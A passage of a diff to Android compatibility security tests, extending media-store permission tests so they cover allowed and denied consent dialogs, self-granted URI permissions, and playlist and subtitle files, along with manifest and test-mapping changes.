+        final File pdf = stageFile(TEST_PDF);
+        assertTrue(pdf.exists());
+    }
+
+    @Test
+    public void testClearFiles() throws Exception {
+        TEST_JPG.delete();
+        assertNull(MediaStore.scanFile(mContentResolver, TEST_JPG));
+        TEST_PDF.delete();
+        assertNull(MediaStore.scanFile(mContentResolver, TEST_PDF));
     }
 
     @Test
@@ -211,6 +199,59 @@
             fail("Expected write access to be blocked");
         } catch (SecurityException | FileNotFoundException expected) {
         }
+
+        // Verify that we can't grant ourselves access
+        for (int flag : new int[] {
+                Intent.FLAG_GRANT_READ_URI_PERMISSION,
+                Intent.FLAG_GRANT_WRITE_URI_PERMISSION
+        }) {
+            try {
+                mContext.grantUriPermission(mContext.getPackageName(), blue, flag);
+                fail("Expected granting to be blocked for flag 0x" + Integer.toHexString(flag));
+            } catch (SecurityException expected) {
+            }
+        }
+    }
+
+    /**
+     * Test prefix and non-prefix uri grant for all packages
+     */
+    @Test
+    public void testGrantUriPermission() {
+        final int flagGrantRead = Intent.FLAG_GRANT_READ_URI_PERMISSION;
+        final int flagGrantWrite = Intent.FLAG_GRANT_WRITE_URI_PERMISSION;
+        final int flagGrantReadPrefix =
+                Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION;
+        final int flagGrantWritePrefix =
+                Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION;
+
+        for (Uri uri : new Uri[] {
+                MediaStore.Images.Media.EXTERNAL_CONTENT_URI,
+                MediaStore.Video.Media.EXTERNAL_CONTENT_URI,
+                MediaStore.Audio.Media.EXTERNAL_CONTENT_URI,
+                MediaStore.Downloads.EXTERNAL_CONTENT_URI,
+                MediaStore.Files.getContentUri(MediaStore.VOLUME_EXTERNAL)
+        }) {
+            // Non-prefix grant
+            checkGrantUriPermission(uri, flagGrantRead, true);
+            checkGrantUriPermission(uri, flagGrantWrite, true);
+
+            // Prefix grant
+            checkGrantUriPermission(uri, flagGrantReadPrefix, false);
+            checkGrantUriPermission(uri, flagGrantWritePrefix, false);
+        }
+    }
+
+    private void checkGrantUriPermission(Uri uri, int mode, boolean isGrantAllowed) {
+        if (isGrantAllowed) {
+            mContext.grantUriPermission(mContext.getPackageName(), uri, mode);
+        } else {
+            try {
+                mContext.grantUriPermission(mContext.getPackageName(), uri, mode);
+                fail("Expected granting to be blocked for flag 0x" + Integer.toHexString(mode));
+            } catch (SecurityException expected) {
+            }
+        }
     }
 
     @Test
@@ -364,43 +405,224 @@
     }
 
     @Test
-    public void testMediaEscalation_RequestWrite() throws Exception {
-        doMediaEscalation_RequestWrite(MediaStorageTest::createAudio);
-        doMediaEscalation_RequestWrite(MediaStorageTest::createVideo);
-        doMediaEscalation_RequestWrite(MediaStorageTest::createImage);
+    public void testMediaEscalation_RequestWriteFilePathSupport() throws Exception {
+        doMediaEscalation_RequestWrite_withFilePathSupport(MediaStorageTest::createAudio);
+        doMediaEscalation_RequestWrite_withFilePathSupport(MediaStorageTest::createVideo);
+        doMediaEscalation_RequestWrite_withFilePathSupport(MediaStorageTest::createImage);
+        doMediaEscalation_RequestWrite_withFilePathSupport(MediaStorageTest::createPlaylist);
+        doMediaEscalation_RequestWrite_withFilePathSupport(MediaStorageTest::createSubtitle);
     }
 
-    private void doMediaEscalation_RequestWrite(Callable<Uri> create) throws Exception {
+    private void doMediaEscalation_RequestWrite_withFilePathSupport(
+            Callable<Uri> create) throws Exception {
         final Uri red = create.call();
+        assertNotNull(red);
+        String path = queryForSingleColumn(red, MediaColumns.DATA);
+        File file = new File(path);
+        assertThat(file.exists()).isTrue();
+        assertThat(file.canRead()).isTrue();
+        assertThat(file.canWrite()).isTrue();
+
         clearMediaOwner(red, mUserId);
+        assertThat(file.canWrite()).isFalse();
 
         try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(red, "w")) {
             fail("Expected write access to be blocked");
-        } catch (RecoverableSecurityException expected) {
+        } catch (SecurityException expected) {
         }
 
         doEscalation(MediaStore.createWriteRequest(mContentResolver, Arrays.asList(red)));
 
         try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(red, "w")) {
         }
+
+        // Check File API support
+        assertAccessFileAPISupport(file);
+        assertReadWriteFileAPISupport(file);
+        assertRenameFileAPISupport(file);
+        assertDeleteFileAPISupport(file);
+    }
+
+    private void assertAccessFileAPISupport(File file) throws Exception {
+        assertThat(file.canRead()).isTrue();
+        assertThat(file.canWrite()).isTrue();
+    }
+
+    private void assertReadWriteFileAPISupport(File file) throws Exception {
+        final String str = "Just some random text";
+        final byte[] bytes = str.getBytes();
+        // Write to file
+        try (FileOutputStream fos = new FileOutputStream(file)) {
+            fos.write(bytes);
+        }
+        // Read the same data from file
+        try (FileInputStream fis = new FileInputStream(file)) {
+            assertThat(ByteStreams.toByteArray(fis)).isEqualTo(bytes);
+        }
+    }
+
+    public void assertRenameFileAPISupport(File oldFile) throws Exception {
+        final String oldName = oldFile.getAbsolutePath();
+        final String extension = oldName.substring(oldName.lastIndexOf('.')).trim();
+        // TODO(b/178816495): Changing the extension changes the media-type and hence the media-URI
+        // corresponding to the new file is not accessible to the caller. Rename to the same
+        // extension so that the test app does not lose access and is able to delete the file.
+        final String newName = "cts" + System.nanoTime() + extension;
+        final File newFile = Environment.buildPath(Environment.getExternalStorageDirectory(),
+                Environment.DIRECTORY_DOWNLOADS, newName);
+        assertThat(oldFile.renameTo(newFile)).isTrue();
+        // Rename back to oldFile for other ops like delete
+        assertThat(newFile.renameTo(oldFile)).isTrue();
+    }
+
+    private void assertDeleteFileAPISupport(File file) throws Exception {
+        assertThat(file.delete()).isTrue();
     }
 
     @Test
-    public void testMediaEscalation_RequestTrash() throws Exception {
-        doMediaEscalation_RequestTrash(MediaStorageTest::createAudio);
-        doMediaEscalation_RequestTrash(MediaStorageTest::createVideo);
-        doMediaEscalation_RequestTrash(MediaStorageTest::createImage);
+    public void testMediaEscalation_RequestWrite() throws Exception {
+        doMediaEscalation_RequestWrite(true /* allowAccess */,
+                false /* shouldCheckDialogShownValue */, false /* isDialogShownExpected */);
     }
 
-    private void doMediaEscalation_RequestTrash(Callable<Uri> create) throws Exception {
+    @Test
+    public void testMediaEscalationWithDenied_RequestWrite() throws Exception {
+        doMediaEscalation_RequestWrite(false /* allowAccess */,
+                false /* shouldCheckDialogShownValue */, false /* isDialogShownExpected */);
+    }
+
+    @Test
+    public void testMediaEscalation_RequestWrite_showConfirmDialog() throws Exception {
+        doMediaEscalation_RequestWrite(true /* allowAccess */,
+                true /* shouldCheckDialogShownValue */, true /* isDialogShownExpected */);
+    }
+
+    @Test
+    public void testMediaEscalation_RequestWrite_notShowConfirmDialog() throws Exception {
+        doMediaEscalation_RequestWrite(true /* allowAccess */,
+                true /* shouldCheckDialogShownValue */, false /* isDialogShownExpected */);
+    }
+
+    private void doMediaEscalation_RequestWrite(boolean allowAccess,
+            boolean shouldCheckDialogShownValue, boolean isDialogShownExpected) throws Exception {
+        doMediaEscalation_RequestWrite(MediaStorageTest::createAudio, allowAccess,
+                shouldCheckDialogShownValue, isDialogShownExpected);
+        doMediaEscalation_RequestWrite(MediaStorageTest::createVideo, allowAccess,
+                shouldCheckDialogShownValue, isDialogShownExpected);
+        doMediaEscalation_RequestWrite(MediaStorageTest::createImage, allowAccess,
+                shouldCheckDialogShownValue, isDialogShownExpected);
+        doMediaEscalation_RequestWrite(MediaStorageTest::createPlaylist, allowAccess,
+                shouldCheckDialogShownValue, isDialogShownExpected);
+        doMediaEscalation_RequestWrite(MediaStorageTest::createSubtitle, allowAccess,
+                shouldCheckDialogShownValue, isDialogShownExpected);
+    }
+
+    private void doMediaEscalation_RequestWrite(Callable<Uri> create, boolean allowAccess,
+            boolean shouldCheckDialogShownValue, boolean isDialogShownExpected) throws Exception {
+        final Uri red = create.call();
+        clearMediaOwner(red, mUserId);
+
+        try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(red, "w")) {
+            fail("Expected write access to be blocked");
+        } catch (SecurityException expected) {
+        }
+
+        if (allowAccess) {
+            doEscalation(MediaStore.createWriteRequest(mContentResolver, Arrays.asList(red)),
+                    true /* allowAccess */, shouldCheckDialogShownValue, isDialogShownExpected);
+
+            try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(red, "w")) {
+            }
+        } else {
+            doEscalation(MediaStore.createWriteRequest(mContentResolver, Arrays.asList(red)),
+                    false /* allowAccess */, shouldCheckDialogShownValue, isDialogShownExpected);
+            try (ParcelFileDescriptor pfd = mContentResolver.openFileDescriptor(red, "w")) {
+                fail("Expected write access to be blocked");
+            } catch (SecurityException expected) {
+            }
+        }
+    }
+
+    @Test
+    public void testMediaEscalationWithDenied_RequestUnTrash() throws Exception {
+        doMediaEscalationWithDenied_RequestUnTrash(MediaStorageTest::createAudio);
+        doMediaEscalationWithDenied_RequestUnTrash(MediaStorageTest::createVideo);
+        doMediaEscalationWithDenied_RequestUnTrash(MediaStorageTest::createImage);
+        doMediaEscalationWithDenied_RequestUnTrash(MediaStorageTest::createPlaylist);
+        doMediaEscalationWithDenied_RequestUnTrash(MediaStorageTest::createSubtitle);
+    }
+
+    private void doMediaEscalationWithDenied_RequestUnTrash(Callable<Uri> create) throws Exception {
         final Uri red = create.call();
         clearMediaOwner(red, mUserId);
 
         assertEquals("0", queryForSingleColumn(red, MediaColumns.IS_TRASHED));
-        doEscalation(MediaStore.createTrashRequest(mContentResolver, Arrays.asList(red), true));
+        doEscalation(
+                MediaStore.createTrashRequest(mContentResolver, Arrays.asList(red), true));
         assertEquals("1", queryForSingleColumn(red, MediaColumns.IS_TRASHED));
-        doEscalation(MediaStore.createTrashRequest(mContentResolver, Arrays.asList(red), false));
+        doEscalation(MediaStore.createTrashRequest(mContentResolver, Arrays.asList(red), false),
+                false /* allowAccess */, false /* shouldCheckDialogShownValue */,
+                false /* isDialogShownExpected */);
+        assertEquals("1", queryForSingleColumn(red, MediaColumns.IS_TRASHED));
+    }
+
+    @Test
+    public void testMediaEscalation_RequestTrash() throws Exception {
+        doMediaEscalation_RequestTrash(true /* allowAccess */,
+                false /* shouldCheckDialogShownValue */, false /* isDialogShownExpected */);
+    }
+
+    @Test
+    public void testMediaEscalationWithDenied_RequestTrash() throws Exception {
+        doMediaEscalation_RequestTrash(false /* allowAccess */,
+                false /* shouldCheckDialogShownValue */, false /* isDialogShownExpected */);
+    }
+
+    @Test
+    public void testMediaEscalation_RequestTrash_showConfirmDialog() throws Exception {
+        doMediaEscalation_RequestTrash(true /* allowAccess */,
+                true /* shouldCheckDialogShownValue */, true /* isDialogShownExpected */);
+    }
+
+    @Test
+    public void testMediaEscalation_RequestTrash_notShowConfirmDialog() throws Exception {
+        doMediaEscalation_RequestTrash(true /* allowAccess */,
+                true /* shouldCheckDialogShownValue */, false /* isDialogShownExpected */);
+    }
+
+    private void doMediaEscalation_RequestTrash(boolean allowAccess,
+            boolean shouldCheckDialogShownValue, boolean isDialogShownExpected) throws Exception {
+        doMediaEscalation_RequestTrash(MediaStorageTest::createAudio, allowAccess,
+                shouldCheckDialogShownValue, isDialogShownExpected);
+        doMediaEscalation_RequestTrash(MediaStorageTest::createVideo, allowAccess,
+                shouldCheckDialogShownValue, isDialogShownExpected);
+        doMediaEscalation_RequestTrash(MediaStorageTest::createImage, allowAccess,
+                shouldCheckDialogShownValue, isDialogShownExpected);
+        doMediaEscalation_RequestTrash(MediaStorageTest::createPlaylist, allowAccess,
+                shouldCheckDialogShownValue, isDialogShownExpected);
+        doMediaEscalation_RequestTrash(MediaStorageTest::createSubtitle, allowAccess,
+                shouldCheckDialogShownValue, isDialogShownExpected);
+    }
+
+    private void doMediaEscalation_RequestTrash(Callable<Uri> create, boolean allowAccess,
+            boolean shouldCheckDialogShownValue, boolean isDialogShownExpected) throws Exception {
+        final Uri red = create.call();
+        clearMediaOwner(red, mUserId);
+
         assertEquals("0", queryForSingleColumn(red, MediaColumns.IS_TRASHED));
+
+        if (allowAccess) {
+            doEscalation(MediaStore.createTrashRequest(mContentResolver, Arrays.asList(red), true),
+                    true /* allowAccess */, shouldCheckDialogShownValue, isDialogShownExpected);
+            assertEquals("1", queryForSingleColumn(red, MediaColumns.IS_TRASHED));
+            doEscalation(MediaStore.createTrashRequest(mContentResolver, Arrays.asList(red), false),
+                    true /* allowAccess */, shouldCheckDialogShownValue, isDialogShownExpected);
+            assertEquals("0", queryForSingleColumn(red, MediaColumns.IS_TRASHED));
+        } else {
+            doEscalation(MediaStore.createTrashRequest(mContentResolver, Arrays.asList(red), true),
+                    false /* allowAccess */, shouldCheckDialogShownValue, isDialogShownExpected);
+            assertEquals("0", queryForSingleColumn(red, MediaColumns.IS_TRASHED));
+        }
     }
 
     @Test
@@ -408,6 +630,8 @@
         doMediaEscalation_RequestFavorite(MediaStorageTest::createAudio);
         doMediaEscalation_RequestFavorite(MediaStorageTest::createVideo);
         doMediaEscalation_RequestFavorite(MediaStorageTest::createImage);
+        doMediaEscalation_RequestFavorite(MediaStorageTest::createPlaylist);
+        doMediaEscalation_RequestFavorite(MediaStorageTest::createSubtitle);
     }
 
     private void doMediaEscalation_RequestFavorite(Callable<Uri> create) throws Exception {
@@ -423,21 +647,63 @@
 
     @Test
     public void testMediaEscalation_RequestDelete() throws Exception {
-        doMediaEscalation_RequestDelete(MediaStorageTest::createAudio);
-        doMediaEscalation_RequestDelete(MediaStorageTest::createVideo);
-        doMediaEscalation_RequestDelete(MediaStorageTest::createImage);
+        doMediaEscalation_RequestDelete(true /* allowAccess */,
+                false /* shouldCheckDialogShownValue */, false /* isDialogShownExpected */);
     }
 
-    private void doMediaEscalation_RequestDelete(Callable<Uri> create) throws Exception {
+    @Test
+    public void testMediaEscalationWithDenied_RequestDelete() throws Exception {
+        doMediaEscalation_RequestDelete(false /* allowAccess */,
+                false /* shouldCheckDialogShownValue */, false /* isDialogShownExpected */);
+    }
+
+    @Test
+    public void testMediaEscalation_RequestDelete_showConfirmDialog() throws Exception {
+        doMediaEscalation_RequestDelete(true /* allowAccess */,
+                true /* shouldCheckDialogShownValue */, true /* isDialogShownExpected */);
+    }
+
+    @Test
+    public void testMediaEscalation_RequestDelete_notShowConfirmDialog() throws Exception {
+        doMediaEscalation_RequestDelete(true /* allowAccess */,
+                true /* shouldCheckDialogShownValue */, false /* isDialogShownExpected */);
+    }
+
+    private void doMediaEscalation_RequestDelete(boolean allowAccess,
+            boolean shouldCheckDialogShownValue, boolean isDialogShownExpected) throws Exception {
+        doMediaEscalation_RequestDelete(MediaStorageTest::createAudio, allowAccess,
+                shouldCheckDialogShownValue, isDialogShownExpected);
+        doMediaEscalation_RequestDelete(MediaStorageTest::createVideo, allowAccess,
+                shouldCheckDialogShownValue, isDialogShownExpected);
+        doMediaEscalation_RequestDelete(MediaStorageTest::createImage, allowAccess,
+                shouldCheckDialogShownValue, isDialogShownExpected);
+        doMediaEscalation_RequestDelete(MediaStorageTest::createPlaylist, allowAccess,
+                shouldCheckDialogShownValue, isDialogShownExpected);
+        doMediaEscalation_RequestDelete(MediaStorageTest::createSubtitle, allowAccess,
+                shouldCheckDialogShownValue, isDialogShownExpected);
+    }
+
+    private void doMediaEscalation_RequestDelete(Callable<Uri> create, boolean allowAccess,
+            boolean shouldCheckDialogShownValue, boolean isDialogShownExpected) throws Exception {
         final Uri red = create.call();
         clearMediaOwner(red, mUserId);
 
         try (Cursor c = mContentResolver.query(red, null, null, null)) {
             assertEquals(1, c.getCount());
         }
-        doEscalation(MediaStore.createDeleteRequest(mContentResolver, Arrays.asList(red)));
-        try (Cursor c = mContentResolver.query(red, null, null, null)) {
-            assertEquals(0, c.getCount());
+
+        if (allowAccess) {
+            doEscalation(MediaStore.createDeleteRequest(mContentResolver, Arrays.asList(red)),
+                    true /* allowAccess */, shouldCheckDialogShownValue, isDialogShownExpected);
+            try (Cursor c = mContentResolver.query(red, null, null, null)) {
+                assertEquals(0, c.getCount());
+            }
+        } else {
+            doEscalation(MediaStore.createDeleteRequest(mContentResolver, Arrays.asList(red)),
+                    false /* allowAccess */, shouldCheckDialogShownValue, isDialogShownExpected);
+            try (Cursor c = mContentResolver.query(red, null, null, null)) {
+                assertEquals(1, c.getCount());
+            }
         }
     }
 
@@ -446,6 +712,12 @@
     }
 
     private void doEscalation(PendingIntent pi) throws Exception {
+        doEscalation(pi, true /* allowAccess */, false /* shouldCheckDialogShownValue */,
+                false /* isDialogShownExpectedExpected */);
+    }
+
+    private void doEscalation(PendingIntent pi, boolean allowAccess,
+            boolean shouldCheckDialogShownValue, boolean isDialogShownExpected) throws Exception {
         // Try launching the action to grant ourselves access
         final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
         final Intent intent = new Intent(inst.getContext(), GetResultActivity.class);
@@ -457,22 +729,43 @@
         device.executeShellCommand("wm dismiss-keyguard");
 
         final GetResultActivity activity = (GetResultActivity) inst.startActivitySync(intent);
-        device.waitForIdle();
+        // Wait for the UI Thread to become idle.
+        inst.waitForIdleSync();
         activity.clearResult();
+        device.waitForIdle();
         activity.startIntentSenderForResult(pi.getIntentSender(), 42, null, 0, 0, 0);
 
         device.waitForIdle();
+        final long timeout = 5_000;
+        if (allowAccess) {
+            // Some dialogs may have granted access automatically, so we're willing
+            // to keep rolling forward if we can't find our grant button
+            final UiSelector grant = new UiSelector().textMatches("(?i)Allow");
+            final boolean grantExists = new UiObject(grant).waitForExists(timeout);
 
-        // Some dialogs may have granted access automatically, so we're willing
-        // to keep rolling forward if we can't find our grant button
-        final UiSelector grant = new UiSelector().textMatches("(?i)Allow");
-        if (new UiObject(grant).waitForExists(2_000)) {
-            device.findObject(grant).click();
+            if (shouldCheckDialogShownValue) {
+                assertThat(grantExists).isEqualTo(isDialogShownExpected);
+            }
+
+            if (grantExists) {
+                device.findObject(grant).click();
+            }
+            final GetResultActivity.Result res = activity.getResult();
+            // Verify that we now have access
+            assertEquals(Activity.RESULT_OK, res.resultCode);
+        } else {
+            // fine the Deny button
+            final UiSelector deny = new UiSelector().textMatches("(?i)Deny");
+            final boolean denyExists = new UiObject(deny).waitForExists(timeout);
+
+            assertThat(denyExists).isTrue();
+
+            device.findObject(deny).click();
+
+            final GetResultActivity.Result res = activity.getResult();
+            // Verify that we don't have access
+            assertEquals(Activity.RESULT_CANCELED, res.resultCode);
         }
-
-        // Verify that we now have access
-        final GetResultActivity.Result res = activity.getResult();
-        assertEquals(Activity.RESULT_OK, res.resultCode);
     }
 
     private static Uri createAudio() throws IOException {
@@ -520,11 +813,38 @@
         }
     }
 
+    private static Uri createPlaylist() throws IOException {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        final String displayName = "cts" + System.nanoTime();
+        final PendingParams params = new PendingParams(
+                MediaStore.Audio.Playlists.EXTERNAL_CONTENT_URI, displayName, "audio/mpegurl");
+        final Uri pendingUri = MediaStoreUtils.createPending(context, params);
+        try (PendingSession session = MediaStoreUtils.openPending(context, pendingUri)) {
+            return session.publish();
+        }
+    }
+
+    private static Uri createSubtitle() throws IOException {
+        final Context context = InstrumentationRegistry.getTargetContext();
+        final String displayName = "cts" + System.nanoTime();
+        final PendingParams params = new PendingParams(
+                MediaStore.Files.getContentUri(MediaStore.VOLUME_EXTERNAL), displayName,
+                "application/x-subrip");
+        final Uri pendingUri = MediaStoreUtils.createPending(context, params);
+        try (PendingSession session = MediaStoreUtils.openPending(context, pendingUri)) {
+            try (InputStream in = context.getResources().getAssets().open("testmp3.mp3");
+                 OutputStream out = session.openOutputStream()) {
+                 FileUtils.copy(in, out);
+            }
+            return session.publish();
+        }
+    }
+
     private static String queryForSingleColumn(Uri uri, String column) throws Exception {
         final ContentResolver resolver = InstrumentationRegistry.getTargetContext()
                 .getContentResolver();
         try (Cursor c = resolver.query(uri, new String[] { column }, null, null)) {
-            assertEquals(c.getCount(), 1);
+            assertEquals(1, c.getCount());
             assertTrue(c.moveToFirst());
             return c.getString(0);
         }
@@ -538,7 +858,7 @@
     }
 
     static File stageFile(File file) throws Exception {
-        // Sometimes file creation fails due to slow permission update, try more times 
+        // Sometimes file creation fails due to slow permission update, try more times
         while(currentAttempt < MAX_NUMBER_OF_ATTEMPT) {
             try {
                 file.getParentFile().mkdirs();
@@ -549,7 +869,7 @@
                 // wait 500ms
                 Thread.sleep(500);
             }
-        } 
+        }
         throw new TimeoutException("File creation failed due to slow permission update");
     }
 }
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/TEST_MAPPING b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/TEST_MAPPING
new file mode 100644
index 0000000..b08a98e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/TEST_MAPPING
@@ -0,0 +1,13 @@
+{
+    "presubmit-large": [
+        {
+            "name": "CtsAppSecurityHostTestCases",
+            "options": [
+                {
+                    "include-filter": "android.appsecurity.cts.ExternalStorageHostTest"
+                }
+            ]
+        }
+    ]
+}
+
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
index c7550e0..366bc92 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/AndroidManifest.xml
@@ -13,32 +13,32 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:tools="http://schemas.android.com/tools"
-    package="com.android.cts.norestart"
-    android:targetSandboxVersion="2"
-    tools:ignore="MissingVersion" >
 
-    <application
-        tools:ignore="AllowBackup,MissingApplicationIcon" >
-        <activity
-            android:name=".NoRestartActivity"
-            android:launchMode="singleTop" >
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     xmlns:tools="http://schemas.android.com/tools"
+     package="com.android.cts.norestart"
+     android:targetSandboxVersion="2"
+     tools:ignore="MissingVersion">
+
+    <application tools:ignore="AllowBackup,MissingApplicationIcon">
+        <activity android:name=".NoRestartActivity"
+             android:launchMode="singleTop"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.norestart.START" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.norestart.START"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <data android:scheme="https" />
-                <data android:host="cts.android.com" />
-                <data android:path="/norestart" />
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <data android:scheme="https"/>
+                <data android:host="cts.android.com"/>
+                <data android:path="/norestart"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
             </activity>
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/TEST_MAPPING b/hostsidetests/appsecurity/test-apps/NoRestartApp/TEST_MAPPING
new file mode 100644
index 0000000..bc9dc3c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/TEST_MAPPING
@@ -0,0 +1,12 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppSecurityHostTestCases",
+      "options": [
+        {
+          "include-filter": "android.appsecurity.cts.SplitTests"
+        }
+      ]
+    }
+  ]
+}
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartActivity.java b/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartActivity.java
index 26d5712..9486b9e 100644
--- a/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartActivity.java
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/src/com/android/cts/norestart/NoRestartActivity.java
@@ -16,13 +16,15 @@
 
 package com.android.cts.norestart;
 
-import com.android.cts.norestart.R;
-
 import android.app.Activity;
 import android.content.Intent;
+import android.content.res.Resources;
 import android.os.Bundle;
 
 public class NoRestartActivity extends Activity {
+    private final static String RESOURCE_ID =
+            "com.android.cts.norestart.feature:string/no_restart_feature_text";
+
     private int mCreateCount;
     private int mNewIntentCount;
 
@@ -45,6 +47,16 @@
         final Intent intent = new Intent("com.android.cts.norestart.BROADCAST");
         intent.putExtra("CREATE_COUNT", mCreateCount);
         intent.putExtra("NEW_INTENT_COUNT", mNewIntentCount);
+        intent.putExtra("RESOURCE_CONTENT", getResourceInFeature());
         sendBroadcast(intent);
     }
+
+    private String getResourceInFeature() {
+        final Resources res = getResources();
+        final int resId = res.getIdentifier(RESOURCE_ID, null, null);
+        if (resId == 0) {
+            return null;
+        }
+        return res.getString(resId);
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/AndroidManifest.xml
index b5f38c6..681264c 100644
--- a/hostsidetests/appsecurity/test-apps/OrderedActivityApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/OrderedActivityApp/AndroidManifest.xml
@@ -13,124 +13,128 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="android.appsecurity.cts.orderedactivity"
-        android:versionCode="10"
-        android:versionName="1.0"
-        android:targetSandboxVersion="2">
+     package="android.appsecurity.cts.orderedactivity"
+     android:versionCode="10"
+     android:versionName="1.0"
+     android:targetSandboxVersion="2">
     <application android:label="@string/app_name">
         <!-- Activities used for queries -->
-        <activity android:name=".OrderActivity2">
-            <intent-filter
-                    android:order="2">
-                <action android:name="android.cts.intent.action.ORDERED" />
+        <activity android:name=".OrderActivity2"
+             android:exported="true">
+            <intent-filter android:order="2">
+                <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com"
-                      android:pathPrefix="/cts/package" />
+                     android:host="www.google.com"
+                     android:pathPrefix="/cts/package"/>
             </intent-filter>
         </activity>
-        <activity android:name=".OrderActivity1">
-            <intent-filter
-                    android:order="1">
-                <action android:name="android.cts.intent.action.ORDERED" />
+        <activity android:name=".OrderActivity1"
+             android:exported="true">
+            <intent-filter android:order="1">
+                <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com"
-                      android:path="/cts/packageresolution" />
+                     android:host="www.google.com"
+                     android:path="/cts/packageresolution"/>
             </intent-filter>
         </activity>
-        <activity android:name=".OrderActivityDefault">
+        <activity android:name=".OrderActivityDefault"
+             android:exported="true">
             <intent-filter>
                 <!-- default order -->
-                <action android:name="android.cts.intent.action.ORDERED" />
+                <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com" />
+                     android:host="www.google.com"/>
             </intent-filter>
         </activity>
-        <activity android:name=".OrderActivity3">
-            <intent-filter
-                    android:order="3">
-                <action android:name="android.cts.intent.action.ORDERED" />
+        <activity android:name=".OrderActivity3"
+             android:exported="true">
+            <intent-filter android:order="3">
+                <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com"
-                      android:pathPrefix="/cts" />
+                     android:host="www.google.com"
+                     android:pathPrefix="/cts"/>
             </intent-filter>
         </activity>
 
         <!-- Services used for queries -->
-        <service android:name=".OrderServiceDefault">
+        <service android:name=".OrderServiceDefault"
+             android:exported="true">
             <intent-filter>
                 <!-- default order -->
-              <action android:name="android.cts.intent.action.ORDERED" />
+              <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com" />
+                     android:host="www.google.com"/>
             </intent-filter>
         </service>
-        <service android:name=".OrderService2">
-            <intent-filter
-                    android:order="2">
-                <action android:name="android.cts.intent.action.ORDERED" />
+        <service android:name=".OrderService2"
+             android:exported="true">
+            <intent-filter android:order="2">
+                <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com"
-                      android:pathPrefix="/cts/package" />
+                     android:host="www.google.com"
+                     android:pathPrefix="/cts/package"/>
             </intent-filter>
         </service>
-        <service android:name=".OrderService3">
-            <intent-filter
-                    android:order="3">
-                <action android:name="android.cts.intent.action.ORDERED" />
+        <service android:name=".OrderService3"
+             android:exported="true">
+            <intent-filter android:order="3">
+                <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com"
-                      android:pathPrefix="/cts" />
+                     android:host="www.google.com"
+                     android:pathPrefix="/cts"/>
             </intent-filter>
         </service>
-        <service android:name=".OrderService1">
-            <intent-filter
-                    android:order="1">
-                <action android:name="android.cts.intent.action.ORDERED" />
+        <service android:name=".OrderService1"
+             android:exported="true">
+            <intent-filter android:order="1">
+                <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com"
-                      android:path="/cts/packageresolution" />
+                     android:host="www.google.com"
+                     android:path="/cts/packageresolution"/>
             </intent-filter>
         </service>
 
         <!-- Broadcast receivers used for queries -->
-        <receiver android:name=".OrderReceiver3">
-            <intent-filter
-                    android:order="3">
-                <action android:name="android.cts.intent.action.ORDERED" />
+        <receiver android:name=".OrderReceiver3"
+             android:exported="true">
+            <intent-filter android:order="3">
+                <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com"
-                      android:pathPrefix="/cts" />
+                     android:host="www.google.com"
